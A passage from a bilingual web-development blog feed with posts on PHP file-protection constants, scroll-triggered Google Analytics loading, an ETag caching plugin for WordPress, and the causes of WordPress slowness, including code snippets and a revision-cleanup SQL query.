Separación de código público y privado: En muchos CMS y frameworks modernos, el código público (como assets) se separa del código privado (el de programación). Esta medida es especialmente valiosa, ya que garantiza que, si PHP falla en el servidor, el código de los archivos PHP (usen o no la técnica de la constante) no quede expuesto. Aunque esto no se implementó específicamente para mitigar register globals, ayuda a evitar otros problemas de seguridad.
Uso extendido de URLs amigables: Hoy en día, es habitual configurar el servidor para usar URLs amigables, lo cual fuerza siempre un único punto de entrada a la programación. Esto hace casi imposible que alguien pueda cargar archivos PHP de forma aislada.
Supresión de salida de errores en producción: La mayoría de los CMS y frameworks modernos bloquean la salida de errores por defecto, de modo que los atacantes no encuentran pistas sobre el funcionamiento interno de la aplicación, algo que podría facilitarles otros tipos de ataque.

Aunque esta técnica ya no sea necesaria en la mayoría de los casos, esto no significa que nunca sea útil. Como desarrollador profesional, es fundamental analizar cada caso y decidir si la técnica de la constante es relevante en el contexto específico en el que estás trabajando. Este es un criterio que deberías aplicar siempre, incluso en lo que consideras buenas prácticas.

¿Dudas? Aquí tienes algunos consejos

Si aún no tienes claro cuándo aplicar la técnica de la constante, estas recomendaciones pueden orientarte:

Usa la técnica siempre si piensas que tu código puede ejecutarse en una versión de PHP anterior a la 5.4.
No la uses si el archivo solo contiene la definición de una clase.
No la uses si el archivo contiene únicamente funciones.
No la uses si el archivo solo incluye HTML/CSS, a menos que el HTML exponga algún tipo de información valiosa.
No la uses si el archivo solo contiene constantes.

Para todo lo demás, si tienes dudas, aplícala. En la mayoría de los casos no debería ser perjudicial y podría protegerte en circunstancias inesperadas, especialmente si estás empezando. Con el tiempo y la experiencia, serás capaz de evaluar mejor cuándo aplicar esta y otras técnicas.

Sigue aprendiendo...

Google Analytics and WPO Analyzers

Manuel Canga — Tue, 17 Sep 2024 19:54:31 +0000

Translation of my old post: Google Analytics and WPO Analyzers

I’m increasingly seeing more criticism against Google PageSpeed Insights (and other WPO analyzers) because many find it contradictory that Google’s own flagship tracking service, Google Analytics, is flagged as an error. "But it’s from the same company!", you can hear them say.

Google Analytics, like other tracking services, consumes a lot of resources during a website's load. It’s commendable that a service like Google PageSpeed Insights flags this so you can optimize it. To me, it would lose credibility as a WPO tool if it didn’t. However, I understand that someone who doesn’t know about optimization might blame the tool instead. It reminds me of Aesop’s fable, The Fox and the Grapes.

One of the options used to optimize the Google Analytics script is to host it on your own server and set an expiration date so that browsers can cache it. This is something Google doesn’t recommend, which is understandable because it loses the ability to update its code whenever it wants. If you don't opt for this option, based on what Google says, you can easily overcome this by setting up a CRON job to download the Google Analytics script every few hours.

Another option (which is fully compatible with the previous one), and the one I use, is to load the Google Analytics script when someone scrolls on the page. This might seem detrimental because it might make you think it won’t track all users. However, in my opinion, it will give a more accurate metric:

First, it won’t track those who are quick to click a link on your site and, upon realizing their mistake, leave immediately.
It won’t track robots, spiders, or similar entities that present themselves as regular users (since they don’t send user-agent headers that identify their real nature).

Moreover, it’s an optimal option because the script will load once everything else is already loaded (so it won’t slow anything down) and transparently while the user is browsing your website.

Here’s the JavaScript code that makes this possible:

/**
 * Google Analytics and WPO Analyzers - WebPerf - Manuel Canga
 * From post: https://trasweb.net/snippets/google-analytics-and-wpo-analyzers
 */

var is_analytics_loaded = false;

load_googleAnalytics = function () {
    if (is_analytics_loaded) {
        return false;
    }

    (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
        (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
        m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
    })(window,document,'script','//www.google-analytics.com/analytics.js','ga');

    ga('create', 'UA-xxxx', 'auto');
    ga('send', 'pageview');

    is_analytics_loaded = true;
};


window.addEventListener("scroll", function () {
    if (document.documentElement.scrollTop !== 0 || document.body.scrollTop !== 0) {
        load_googleAnalytics();
    }
}, true);

From line 25 to line 29, we tell the browser that when the visitor scrolls (the scroll event is triggered, and the scroll bar position is no longer at the top), the load_googleAnalytics function should be executed. This function checks (lines 9 to 12) through a flag whether Analytics has already been loaded on the current page. If not, the tracking script is loaded (lines 13 to 19). Notice that in line 18, the Google Analytics ID is inserted. Finally, in line 21, the flag is activated to prevent the script from loading again.

If you liked it, don’t forget to share.

Google Analytics y Analizadores WPO

Manuel Canga — Tue, 17 Sep 2024 19:49:23 +0000

Este post ya fue publicado inicialmente en 2019 en Google Analytics y Analizadores WPO

Cada vez veo más voces críticas contra Google PageSpeed Insights(y otros[analizadores WPO porque consideran incongruente que el propio Google marque su servicio estrella de tracking, Google Analytics, como un error. ¡Si es de la misma "casa"!, se les oye decir.

Google Analytics, como otros servicios de tracking, se come muchos recursos en la carga de una web. Es de alabanza que un servicio como Google PageSpeed Insights marque esto para que lo optimices. Para mí, sería una falta de credibilidad a su labor de herramienta WPO, si no lo hiciera. Pero claro, comprendo que quien no entiende de optimización, le eche la culpa a la herramienta. Me recuerda a la fábula de La zorra y las uvas de Esopo.

Una de las opciones que se usan para optimizar el script de Google Analytics es alojarlo bajo el propio alojamiento y entonces añadirle una fecha de caducidad para que los navegadores puedan cachearlo. Es algo que Google no recomienda, como es normal, porque entonces pierde todo el control de poder actualizar su código cuando quiera. Si no te decantas por esta opción, por lo que dice Google, piensa que esto es fácilmente salvable poniendo una tarea CRON para que, cada x hora, se descargue el script de Google Analytics.

Otra opción(perfectamente compatible con la anterior), que es la que yo uso, es cargar el script de Google Analytics cuando alguien hace scroll en la página. Esto puede parecer perjudicial porque da a pensar que no trackeará a todos los usuarios. Sin embargo, en mi opinión dará una métrica más correcta:

En primer lugar, no trackeará a aquellos que sean de dedo rápido, que hayan clicado a un enlace de tu web y, nada más darse cuenta del error, la quiten.
No trackeará robots, arañas o similares, que se presenten como usuarios ordinarios(ya que no mandan cabeceras de agente de usuario que identifiquen su naturaleza real).

Por otro lado, es una opción óptima, pues se cargará una vez que ya esté todo cargado(no ralentizará nada) y de manera transparente, mientras que el usuario está viendo tu página web.

Aquí está el código, el JavaScript que lo hace posible:

/**
 * Google Analytics y Anaizadores WPO - WebPerf - Manuel Canga
 * Perteneciente a post: https://trasweb.net/snippets/google-analytics-y-anaizadores-wpo
 */

var is_analytics_loaded = false;

load_googleAnalytics = function () {
    if (is_analytics_loaded) {
        return false;
    }

    (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
        (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
        m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
    })(window,document,'script','//www.google-analytics.com/analytics.js','ga');

    ga('create', 'UA-xxxx', 'auto');
    ga('send', 'pageview');

    is_analytics_loaded = true;
};


window.addEventListener("scroll", function () {
    if (document.documentElement.scrollTop !== 0 || document.body.scrollTop !== 0) {
        load_googleAnalytics();
    }
}, true);

Desde la línea 25 a la línea 29 le decimos al navegador que cuando el visitante haga scroll(se lance el evento scroll y posición de la barra de scroll diferente a la inicial) se lance la función load_googleAnalytics. Esta función comprueba(líneas 9 a 12) mediante una flag si se cargó ya o no, el Analytics en la página actual. Si no lo hizo, se carga el script de tracking(líneas 13 a 19). Date cuenta de que en la línea 18 va el ID de Google Analytics. En la línea 21, finalmente, activamos la flag para que no se vuelve a realizar la carga.

Si te ha gustado, no te olvides de compartir.

Optimización web con ETags. Ejemplo con WordPress

Manuel Canga — Mon, 09 Sep 2024 06:09:29 +0000

Optimización web con ETags. Ejemplo con WordPress

Este post ya fue publicado inicialmente en 2019 en Optimización web con ETags. Ejemplo con WordPress

Hace tiempo que no escribo sobre optimización. Ya sabéis lo que me conocéis a qué fue debido. Sin embargo, no puedo dejar que vende humos de supuesto WPO me quiten de escribir sobre algo que me gusta. Así que, aquí tenéis un nuevo post.

Seguro que te ha pasado. Llegas un día a tu lugar de trabajo, enciendes tu equipo, abres tu correo y después de un vistazo a este, abres un terminal y escribes: git pull. La respuesta del terminal no se deja esperar: Already up-to-date..

¿Has pensado alguna vez qué ocurre detrás de ese git pull? Yo sí. Conjeturando, yo diría que al hacer un git pull estás mandando al servidor, de manera transparente, la fecha del último cambio que tú tienes. El repositorio comprueba la fecha del último cambio que tú le envías contra la fecha del último cambio que él tiene, de manera que:

Si tu fecha es más antigua, te manda todos los push/cambios que se han realizado desde entonces. También te mandará, junto a esos cambios, en la fecha que se hicieron. Así, si escribieras otra vez git pull mandarías la fecha del último de esos cambios y volvería todo a empezar.
Si tu fecha corresponde con la fecha que tiene el repositorio para el último cambio, te devolverá que tienes todo al día.

Este procedimiento, que para mí era el más lógico, no es el real. El real es parecido, pero no exacto. Cada vez que se hace un push. El repositorio asocia un token(código alfanumérico identificativo, algo como ae3d9735f280381d0d97d3cdb26066eb16f765a5) al último commit. Cuando haces un git pull se compara el último token que tú tienes con la lista de token que él tiene. Si tu token es uno antiguo, te manda los cambios desde entonces con sus correspondientes tokens. Si el token era el último, te dirá que estás al día.

Llegado a este punto, tú me dirás: Manuel, ¿pero este post no iba de optimizar webs con WordPress? Ciertamente, y sigue siendo. Tanto el primer caso presentado(el de la fecha), como el segundo(el del token) son formas de trabajar del protocolo HTTP. Veámoslo.

Last-Modified

Imagínate que tu navegador manda una petición a mi servidor para descargar el favicon de mi web. En la respuesta de mi servidor a tu navegador irá la cadena(o cabecera HTTP ): Last-Modified: Thu, 29 Dec 2016 11:55:29 GMT. Con ella, mi servidor está informando a tu navegador de cuando se modificó el favicon por última vez. Así que el navegador, una vez descargada la imagen, la guardará en su caché con el metadado “Last-Modified” y valor Thu, 29 Dec 2016 11:55:29 GMT

Si pasados unos segundos, unos días o unos meses, te decides a entrar otra vez en mi web, tu navegador necesitará nuevamente el favicon de mi sitio. Sin embargo, recuerda que también tiene una copia de la imagen en su caché. ¿Cómo sabe si el favicon que tiene en caché es el último o debe bajárselo de nuevo? Simple, haciendo un “git pull”. Es decir, el navegador vuelve a mandar una petición de favicon a mi servidor, pero informando que tiene una versión de la imagen de una determinada fecha. Hay dos respuestas posibles de mi servidor:

El favicon que se utiliza ahora en mi web es más nueva, por lo que mi servidor mandará la nueva imagen a tu navegador, junto con la nueva fecha de última modificación que tiene esta nueva imagen.
El favicon que se utiliza ahora en mi web es igual a la fecha que le indica tu navegador. Es decir, que tanto la imagen del servidor como la imagen de caché del navegador son iguales. Entonces, mi servidor le indica a tu navegador que la imagen no se ha modificado (con el código HTTP 304 Not Modified). Tu navegador entonces usa la imagen de la caché y se ahorra de tener que bajar de nuevo la imagen (ahorrando así muchos bytes de tu tarifa de datos).

ETags

Si recuerdas, al principio del post, te contaba que Git trabajaba con tokens para determinar cuando se realizó cambios. HTTP, además de la fecha de última modificación, permite trabajar con unos tokens llamados ETags (De Entity Tags). Un ETag es un código alfanumérico (como podría ser 5864f9b1-47e) sin formato predeterminado(es decir, el estándar HTTP no marca, o casi no marca, qué formato debe tener el token). Es el dueño de un sitio el que determina cuál será su formato.

Por defecto, los servidores webs como Apache crean el ETag de cada archivo basado en su fecha de modificación (y algunas veces también el tamaño del archivo). Esto es redundante (la cabecera HTTP de fecha de última modificación se basa en el mismo criterio) y poco óptimo (porque se añade más información a las peticiones que no sirve de nada). Lo recomendable en ese caso es configurar tu servidor web para que no use ETags con archivos. Por ejemplo, para desactivar los ETags de archivos (o FileETags) para Apache, añade el siguiente código en tú.htacess: FileETag None

Seguro que te estarás preguntado que si el diálogo entre navegador/servidor usando un ETag es el mismo que hemos visto para la fecha de última modificación y usar ambas formas es poco óptima y redundante. ¿Para qué usar ETags?

La fecha de modificación es suficiente para peticiones HTTP a archivos, pero con peticiones HTTP a páginas webs(HTML) se queda corta. Una página web depende de muchos factores/elementos interrelacionados(contenido, comentarios, estructura HTML, … ) y no de un único archivo. Por tanto, sería muy complicado encontrar una fecha de última modificación unificada para todos esos elementos. Se que lo digo es complicado de seguir, trataré de explicarlo de otra manera:

Imagínate que asigno como fecha de modificación de la página web( HTTML ) de esta entrada, la fecha de modificación del texto de la entrada. Tu navegador al entrar cachearía esta página junto a la fecha de última modificación del post. Si vuelves a entrar un minuto más tarde, como el post no ha cambiado( y, por tanto, su fecha de modificación ), tu navegador volverá a usar la versión que tiene en caché. Si alguien me escribiera un comentario y tu volvieras a entrar, tu no verías el comentario. Pues el texto del post no ha cambiado, por tanto, la fecha de última modificación tampoco, así que tu navegador volvería a mostrarte la versión de su caché. Lo mismo pasaría si cambio el HTML y añado un nuevo CSS. El contenido del post no ha cambiado,la fecha tampoco, y tu navegador seguiría mostrando la versión del cache.

Si en vez de trabajar con fechas de última modificación del post, asignamos a la página web del post un ETag con el siguiente formato: {fecha_modificacion_contenido_post}_{fecha_ultimo_comentario_post}_{numero_version_del_tema_WP}

Al entrar tu navegador por primera vez en el post, guardará en caché la página web(HTML) con su ETag asociado como metadato. Si cambiara alguno de los criterios del token(la fecha de modificación del post, la fecha del último comentario o la versión del tema actual de WP ), el ETag asociado a la página web sería diferente. Por lo que si entraras de nuevo al post, mi servidor notificará que el ETag de tu navegador no es el último y le volverá a mandar toda la página web, junto con el nuevo ETag.

Si nada hubiera cambiado, el token/ETag sería el mismo( tanto en navegador como en servidor ), por lo que al visitar la página con tu navegador, mi servidor le mandaría un 304 avisándole que nada ha cambiado( en términos WPO se dice que aún está fresca ) y que, por tanto, use la versión de su caché.

Beneficio de Etags

Algo que no he comentado hasta ahora son los beneficios de ETags. Aquí algunos de ellos:

Menos datos transferido entre servidor/navegador. Eso significa un ahorro de datos en el usuario para que tu web no le salga tan cara a tus usuarios y también en el servidor (importante si tienes contratado el alojamiento basado en pago por cantidad de datos transferido).
El servidor se ahorra el tener que generar el HTML, con todo lo que eso implica: ahorro de memoria y CPU y liberar a la base de datos de trabajo.
Una carga mucho más rápida de tu sitio web, mejorando con ello la experiencia del usuario.

Plugin WordPress

Todo lo que hemos visto es a alto nivel, vamos a ver un pequeño plugin que use ETag para páginas/posts de WordPress.

# etags.php
<?php

namespace trasweb\webperf\ETags;

/*
 * Plugin Name:       ETags en posts
 * Plugin URI:        https://trasweb.net/webperf/optimizacion-web-con-etags
 * Description:       Usa el cache en navegador para tus posts.
 * Version:           0.0.1
 * Author:            Manuel Canga / Trasweb
 * Author URI:        https://trasweb.net
 * License:           GPL
 */

add_action('wp', function () {
    if (is_admin() || ! is_singular()) {
        return;
    }

    $etag_from_navigator = $_SERVER[ 'HTTP_IF_NONE_MATCH' ]??'';
    $current_ETag        = get_current_ETag();

    if ($etag_from_navigator === $current_ETag) {
        status_header(304);
        exit;
    }

    header('ETag: ' . $current_ETag);
});

function get_current_ETag()
{
    $last_modified_time_of_content = (int)get_post_time();
    $date_of_last_comment          = get_date_of_last_comment();
    $theme_version                 = wp_get_theme()[ "Version" ]??'0.0.0';

    return md5("{$last_modified_time_of_content}_{$date_of_last_comment}_{$theme_version}");
}

function get_date_of_last_comment()
{
    $query = [
        'post_id' => get_the_ID() ?: 0,
        'orderby' => ['comment_date_gmt'],
        'status'  => 'approve',
        'order'   => 'DESC',
        'number'  => 1,
    ];

    $last_comment = get_comments($query)[ 0 ]??null;

    return $last_comment->comment_date_gmt??0;
}

Antes que nada decir que este plugin es sólo formativo. Como con cualquier técnica de optimización web, como minificación/unificación de recursos CSS/JS o el uso de caché en servidor, se requiere primero un estudio del sitio.

Como se puede ver más sencillo no puede ser. Primero se obtiene el ETag del navegador si es que lo hubiera( línea 20 ). En segundo lugar se obtiene el Etag asociado al post/page actual( línea 21 ).

Si ambos son iguales se manda al navegador un código 304( línea 24, este es el caso que muestra la imagen principal de este post ) y se acaba la ejecución. Al navegador le llegará el código 304 y sabrá que tiene que hacer uso de la versión de la página de su caché.

Si los Etags son diferentes( bien porque entra el navegador por primera vez o bien porque el token ha cambiado ), se manda el ETag al navegador y se deja que WP siga su curso( que manda el contenido del post/page actual ).

El Etag se genera en la funcion get_current_ETag( línea 31 a 38 ) basado en la última vez que se modificó el post/page, la fecha del último comentario del post y la versión del tema actual. Si algunos de esos parámetros cambia, cambiara el token, forzando al navegador a bajar la nueva versión de la web.

Esto es todo. Espero que os haya gustado y os sirva para hacer más rápida vuestra página web.

Porfa, compártelo

Web Optimization with ETags: An Example with WordPress

Manuel Canga — Mon, 09 Sep 2024 05:56:30 +0000

English version of my old post Optimización web con ETags. Ejemplo con WordPress

It's been a while since I last wrote about optimization. Those who know me are aware of why that happened. However, I can't let so-called WPO (Web Performance Optimization) experts stop me from writing about something I enjoy. So, here's a new post for you.

I'm sure this has happened to you. You arrive at your workplace, turn on your computer, open your email, and after checking it, open a terminal and type: git pull. The terminal quickly responds: Already up-to-date..

Have you ever wondered what happens behind that git pull? I have. If I had to guess, I'd say that when you do a git pull, you're transparently sending the server the date of the last change you have. The repository checks the date of the last change you send against the date of the last change it has, so:

If your date is older, it sends you all the pushes/changes that have occurred since then. It will also send you, along with those changes, the date they were made. So, if you typed git pull again, you would send the date of the last of those changes, and everything would start again.
If your date matches the date the repository has for the last change, it will tell you that everything is up-to-date.

This process, which seemed the most logical to me, is not the real one. The real one is similar but not exact. Every time a push is made, the repository associates a token (an alphanumeric identification code, something like ae3d9735f280381d0d97d3cdb26066eb16f765a5) with the latest commit. When you do a git pull, it compares the last token you have with the list of tokens it has. If your token is an old one, it sends the changes since then with their corresponding tokens. If the token was the latest, it tells you you're up-to-date.

At this point, you might say: Manuel, wasn't this post supposed to be about optimizing websites with WordPress? Indeed, it is. Both the first case presented (the one with the date) and the second one (the one with the token) are ways of working in the HTTP protocol. Let's take a closer look.

Last-Modified

Imagine your browser sends a request to my server to download the favicon of my website. In the response from my server to your browser, there will be a string (or HTTP header): Last-Modified: Thu, 29 Dec 2016 11:55:29 GMT. This tells your browser when the favicon was last modified. So, once your browser downloads the image, it will store it in its cache with the metadata "Last-Modified" and the value Thu, 29 Dec 2016 11:55:29 GMT.

If, after a few seconds, days, or months, you decide to visit my website again, your browser will need the favicon from my site again. However, it remembers it also has a copy of the image in its cache. How does it know if the favicon in its cache is the latest or if it needs to download it again? Simple, it performs a "git pull." That is, the browser sends a new request for the favicon to my server, indicating that it has a version of the image from a specific date. There are two possible responses from my server:

The current favicon on my website is newer, so my server will send the new image to your browser, along with the new last-modified date of this image.
The current favicon on my website matches the date indicated by your browser. That is, both the server's image and the browser's cached image are the same. Then, my server informs your browser that the image has not been modified (with the HTTP 304 Not Modified code). Your browser then uses the cached image, saving itself from having to download the image again (thus saving many bytes of your data plan).

ETags

If you remember, at the beginning of the post, I mentioned that Git uses tokens to determine when changes were made. HTTP, in addition to the last modified date, allows working with tokens called ETags (Entity Tags). An ETag is an alphanumeric code (such as 5864f9b1-47e) with no predetermined format (the HTTP standard does not specify, or barely specifies, what format the token should have). The site owner determines the format.

By default, web servers like Apache create the ETag for each file based on its modification date (and sometimes also the file size). This is redundant (the HTTP header for the last modified date is based on the same criteria) and not optimal (because it adds more information to requests that is of no use). In this case, it's advisable to configure your web server not to use ETags for files. For example, to disable file ETags (or FileETags) in Apache, add the following code to your .htaccess file: FileETag None.

You might be wondering if the dialog between the browser/server using an ETag is the same as we've seen for the last-modified date and using both methods is inefficient and redundant. Why use ETags, then?

The last-modified date is sufficient for HTTP requests for files, but it falls short for HTTP requests for web pages (HTML). A web page depends on many interrelated factors/elements (content, comments, HTML structure, etc.) and not just a single file. Therefore, it would be very complicated to find a unified last modified date for all these elements. I know this might be difficult to follow, so I'll try to explain it differently:

Imagine I assign the modification date of this web page (HTML) to the modification date of the text of the post. When your browser visits the page, it caches the page along with the post's last-modified date. If you visit it again a minute later, since the post has not changed (and thus, its modification date hasn't changed), your browser will use the cached version. If someone writes a comment and you visit again, you wouldn't see the comment. Since the post's text hasn't changed, the modification date hasn't either, so your browser would show you the cached version again. The same would happen if I change the HTML and add a new CSS file. The post content hasn't changed, nor has the date, so your browser would still show the cached version.

If, instead of working with last-modified dates for the post, we assign an ETag to the web page of the post with the following format: {post_content_modification_date}_{post_last_comment_date}_{WP_theme_version_number}

When your browser visits the post for the first time, it caches the web page (HTML) with its associated ETag as metadata. If any of the token criteria change (the post's modification date, the last comment date, or the current WP theme version), the ETag associated with the web page would be different. So, if you visit the post again, my server will notify you that your browser's ETag is not the latest, and it will resend the entire web page along with the new ETag.

If nothing has changed, the token/ETag would be the same (in both the browser and the server), so when you visit the page with your browser, my server would send a 304 response, notifying it that nothing has changed (in WPO terms, it's still "fresh") and that it should use the cached version.

Benefits of ETags

Something I haven't mentioned until now are the benefits of ETags. Here are a few:

Less data transferred between the server and the browser. This means data savings for the user (so your website is less expensive for your users "How much does it cost to visit your website?") and also for the server (important if you have a data-transfer-based hosting plan).
The server saves the effort of generating the HTML, with all that implies: saving memory and CPU, and relieving the database of work.
Much faster loading of your website, improving the user experience.

WordPress plugin

Everything we've covered is at a high level, so let's look at a small plugin that uses ETags for WordPress pages/posts.



# etags.php
<?php

namespace trasweb\webperf\ETags;

/*
 * Plugin Name:       ETags en posts
 * Plugin URI:        https://trasweb.net/webperf/optimizacion-web-con-etags
 * Description:       Usa el cache en navegador para tus posts.
 * Version:           0.0.1
 * Author:            Manuel Canga / Trasweb
 * Author URI:        https://trasweb.net
 * License:           GPL
 */

add_action('wp', function () {
    if (is_admin() || ! is_singular()) {
        return;
    }

    $etag_from_navigator = $_SERVER[ 'HTTP_IF_NONE_MATCH' ]??'';
    $current_ETag        = get_current_ETag();

    if ($etag_from_navigator === $current_ETag) {
        status_header(304);
        exit;
    }

    header('ETag: ' . $current_ETag);
});

function get_current_ETag()
{
    $last_modified_time_of_content = (int)get_post_time();
    $date_of_last_comment          = get_date_of_last_comment();
    $theme_version                 = wp_get_theme()[ "Version" ]??'0.0.0';

    return md5("{$last_modified_time_of_content}_{$date_of_last_comment}_{$theme_version}");
}

function get_date_of_last_comment()
{
    $query = [
        'post_id' => get_the_ID() ?: 0,
        'orderby' => ['comment_date_gmt'],
        'status'  => 'approve',
        'order'   => 'DESC',
        'number'  => 1,
    ];

    $last_comment = get_comments($query)[ 0 ]??null;

    return $last_comment->comment_date_gmt??0;
}

First of all, let me mention that this plugin is for educational purposes only. As with any web optimization technique, such as minification/combination of CSS/JS resources or using server-side caching, a site study is required first.

As you can see, it couldn't be simpler. First, the ETag from the browser is obtained, if there is one (line 20). Second, the ETag associated with the current post/page is retrieved (line 21).

If both are the same, a 304 code is sent to the browser (line 24, which is the case shown in the main image of this post), and execution ends. The browser will receive the 304 code and will know that it should use the cached version of the page.

If the ETags are different (either because the browser is visiting for the first time or because the token has changed), the ETag is sent to the browser, and WordPress is allowed to continue its process (sending the content of the current post/page).

The ETag is generated in the function get_current_ETag (lines 31 to 38) based on the last time the post/page was modified, the date of the last comment on the post, and the version of the current theme. If any of these parameters change, the token will change, forcing the browser to download the new version of the website.

That's all. I hope you enjoyed this post and that it helps you make your website faster.

Share it, please

WordPress es un CMS lento

Manuel Canga — Thu, 05 Sep 2024 07:05:44 +0000

Este post ya fue publicado inicialmente en 2014 en WordPress es un CMS lento - 2014

Más de una vez me he encontrado envuelto en el debate: ¿ es WordPress lento ?. Bueno, no es tanto debate cuando la única respuesta por parte de aquellos apegados a WordPress es que hay sitios con muchas visitas que lo tienen y su rendimiento es óptimo. Estos mismos parece que se olvidan que hasta el algoritmo de ordenación de burbuja se comporta bien para muestras excesivamente grandes si se "ejecuta" en un equipo potente. Sin embargo, eso no quiere decir que sea un algoritmo eficiente necesariamente (de hecho, no lo es) si atendemos a su complejidad computacional. A WordPress le pasa lo mismo. A igualdad cantidad de información, requerirá un hosting mucho más potente que otros CMS. No sólo eso, sino como veremos, ya de por si es un CMS lento tenga o no tenga mucha información.

Esto no quiere decir que WordPress sea malo. Nada más lejos de la realidad. Igual que en un coche, la velocidad no lo es todo. En el mundo de los CMS pasa lo mismo. De hecho, gran parte de mis proyectos webs son con él. Sin embargo, cada proyecto es un mundo y, por tanto, hay que saber escoger las mejores herramientas adecuadamente con la cabeza y no con el apego.

Como soy una persona técnica, mis argumentos estarán basados en aspectos técnicos. Sobre todo cuando entiendo que WordPress es lento debido a su diseño. Invito a todos aquellos que no estén de acuerdo que me pongan un comentario con sus razonamientos.

Todo en una tabla.

Cuando estamos realizando un esquema de base de datos para un proyecto web, surge la duda si ir por lo práctico o por lo eficiente. En el caso de WordPress tiraron por lo práctico y agruparon tanto los posts, como custom posts, como recursos y versiones en una misma tabla: wp_posts. Esta acción tiene la ventaja de simplificar el código y las búsquedas (aunque esto sea otra cosa de la que cojea WordPress como ya veremos en otra entrada), pero como contraparte reduce drásticamente la eficiencia de WordPress. Algunos ejemplos para que se entienda:

Si tenemos 500 posts y cada uno tiene cuatro revisiones diferentes(la actual y tres más), es como si tuviéramos tratando con 2.000 posts.
Si tenemos 500 productos con Woocommerce y cada uno tiene una imagen destacada y cuatro como galería de ese producto, es como si nuestro CMS tuviera que trabajar con 3.000 productos.
Si tenemos un sitio web pequeño con 35 páginas y en él tenemos unos 35 elementos de menús,ya sea, con enlaces externos o internos. Nuestro gestor de contenidos trabajaría como si tuviéramos 70 páginas. Ya que cada elemento de menú cuenta como si fuera una entrada o una página en nuestro CMS. En este ejemplo eso no es mucho, pero lo pongo para que se vea otro de los factores que influye.
Si tienes 500 productos y cuatro idiomas, tu WordPress es como si trabajara 2.000 productos.
Ahora vamos a un ejemplo real a modo de resumen: Si tienes un sitio web con 500 productos y por cada uno de ellos también tienes una imagen destacada, cuatro imágenes de galería de producto y un pdf con información técnica de cada producto. Además, ese sitio también tiene blog con 200 entradas cada cual con sus correspondientes imágenes destacadas. Además, si has hecho el web con soporte a tres idiomas y estableciendo para que sólo haya dos revisiones por post. WordPress cada vez que lanza una consulta contra tu base de datos, ha de buscar entre más de 5.500 elementos. Desprecio otros como elementos de menú, páginas y custom posts. Consejos:
Limita el número de revisiones a dos o desactiva las revisiones completamente:

    //Limita las revisiones a dos:
    define( 'WP_POST_REVISIONS', 2 );
    //Desactiva totalmente las revisiones:
    //define( 'WP_POST_REVISIONS', false );

Borra todas las revisiones de vez en cuando. Puedes hacerlo lanzando la siguiente consulta sql:

    DELETE a,b,c FROM wp_posts a
    LEFT JOIN wp_term_relationships b ON (a.ID = b.object_id)
    LEFT JOIN wp_postmeta c ON (a.ID = c.post_id)
    WHERE a.post_type = 'revision'

Se austero con las imágenes en tu sitio web. Tampoco añadas a tu CMS imágenes que no vayas a utilizar.
Evita tener multitud de menús si no son imprescindible. Elimina entradas de menús que no vayas a usar.
Si no te queda otra, porque así lo insiste tu cliente, que usar WordPress para proyectos medianos o grandes, trata de crear tablas auxiliares y así aligerar en lo posible la carga de wp_posts

Tu WordPress tiene alzheimer

WordPress busca la flexibilidad a cualquier precio, aunque sea a costa de velocidad. Quizás, porque en los principios sólo iba a ser un sistema de blogs y para ese caso tanta flexibilidad no podría causar tanto daño. Sin embargo, empezamos a usarlo como CMS y ahí empezaron los problemas de rendimiento ocasionados por la flexibilidad.

Déjame decirte una mala noticia: tu gestor de contenidos tiene alzheimer. Se le olvida todo de una petición a otra. Tendrás que repetirle en cada una de ellas los customs posts, los sidebars, o los menús que vas a usar. No te queda otra porque a él se le olvida. Es por ello, que si quieres añadir una entrada al menú del panel, por ejemplo, se lo tendrás que decir cada vez que se vaya a mostrar. Sí, da una enorme flexibilidad pero obliga a PHP y al CMS a procesar lo mismo una vez y otra vez, dando lugar a una perdida de eficiencia. Lo mismo le pasa a los plugins y es por ello que muchos plugins pueden ralentizar sobremanera tu sitio web. No por el sistema de plugins en sí ( que es magnifico como está pensado y programado ), sino por la obligación de los plugins de decir lo mismo una y otra vez y, por tanto, la necesidad de WordPress de recorrerlos completamente en cada petición.

Un CMS enfocado al rendimiento lo hubiera hecho de otra manera. Por ejemplo, haciendo que durante la activación del tema éste dijera que sidebars, custom posts o cualquier otro elemento necesita. Este CMS lo registraría y se ajustaría adecuadamente de manera interna. Y lo mismo para los plugins. Pero, como digo anteriormente, un proceder así restaría mucha flexibilidad al CMS, algo que a WordPress no le interesa.

Consejos:

Limita el número de plugins
Escoge temas minimalistas o que sólo tengan lo que necesites
Te recomendarán que uses un plugin de caché, yo no. Úsalo sólo en el caso que tu sitio web vaya extremadamente lento y siempre con pinzas. Hablaré de ello en otra entrada (edit: ya está disponible: No uses plugins de caché con WordPress , aunque básicamente es porque cortarás todo el funcionamiento interno de WordPress basado en hooks. Es decir, forzarás a trabajar a WordPress de una manera, que como hemos visto, no es la que han decidido para él.

Todo siempre a tu disposición

WordPress, como casi todo el mundo sabe, empezó como un sistema de blogs que se basaba en otro sistema anterior. No estaba pensado para proyectos grandes es por eso que su diseño tendió a lo simple. No clases, sólo funciones. Como cualquier aspecto de diseño, eso no tiene que ser algo necesariamente malo (sino que se lo digan a los que usan escritorios realizados con GTK), a no ser que busques la flexibilidad. Entonces, es cuando empiezan los dolores de cabeza.

Si vienes del mundo PHP, seguramente te sorprendas que con WordPress no has tenido ni que hacer requires, ni includes ni usar namespace. Es algo sencillo de entender, el motivo es que WordPress siempre carga todo su arsenal de librerías. Sí, siempre, las uses o no. Si lo sumamos a que tiene alzheimer, uff. Líneas de código que se tienen que leer si o si en cada petición. Un pasote. Pero, claro, piensa que es por la flexibilidad. Puedes usar una función del core sin tener que hacer un include a un fichero que puede que el día de mañana tenga otro nombre o esté en otro path.

A partir de PHP 5.6 hay soporte completo de namespace de funciones. Quizás esa sea una solución para WordPress. Pero en ese caso tendrán que tomar la difícil decisión de crear incompatibilidad hacia atrás. No sé lo que harán.

Nada puedes hacer para mejorar esto, ya que es parte del diseño de WordPress. Tan sólo te queda hacer tu parte, es decir, que tu código no siga esa línea. Si te decides a hacerlo, aquí mis consejos:

